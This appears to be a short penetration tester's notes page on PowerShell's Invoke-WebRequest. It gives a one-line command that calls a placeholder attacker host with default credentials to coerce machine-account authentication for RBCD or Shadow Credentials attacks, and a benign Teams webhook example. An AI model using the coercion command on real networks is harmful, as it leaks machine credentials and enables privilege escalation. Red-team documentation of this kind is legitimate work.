# invoke-webrequest
Good for...well...invoking Web requests.

## Making a Web request
:::tip
In [this Slack chat](https://bloodhoundhq.slack.com/archives/C02JG9SE3FX/p1748964140896859) I learned about [this X post](https://x.com/unsigned_sh0rt/status/1926393824202437107) where you use `iwr` to coerce authentication of a machine account when running as `NT SERVICE` or IIS AppPool.  This can be used for RBCD and/or Shadow Credentials.
:::

```
powershell invoke-webrequest http://your.attacking.box.ip -UseDefaultCredentials
````

## Firing a Teams Webhook
These Webhooks can be handy for sending an alert to Teams when stuff happens, such as systems going online/offline, etc.

```
 Invoke-WebRequest -Uri "https://yoursite.webhook.office.com/webhookb2/xxx/yyy" `
>>   -Method POST `
>>   -ContentType "application/json" `
>>   -Body '{"text":"Hello from PowerShell!"}'

```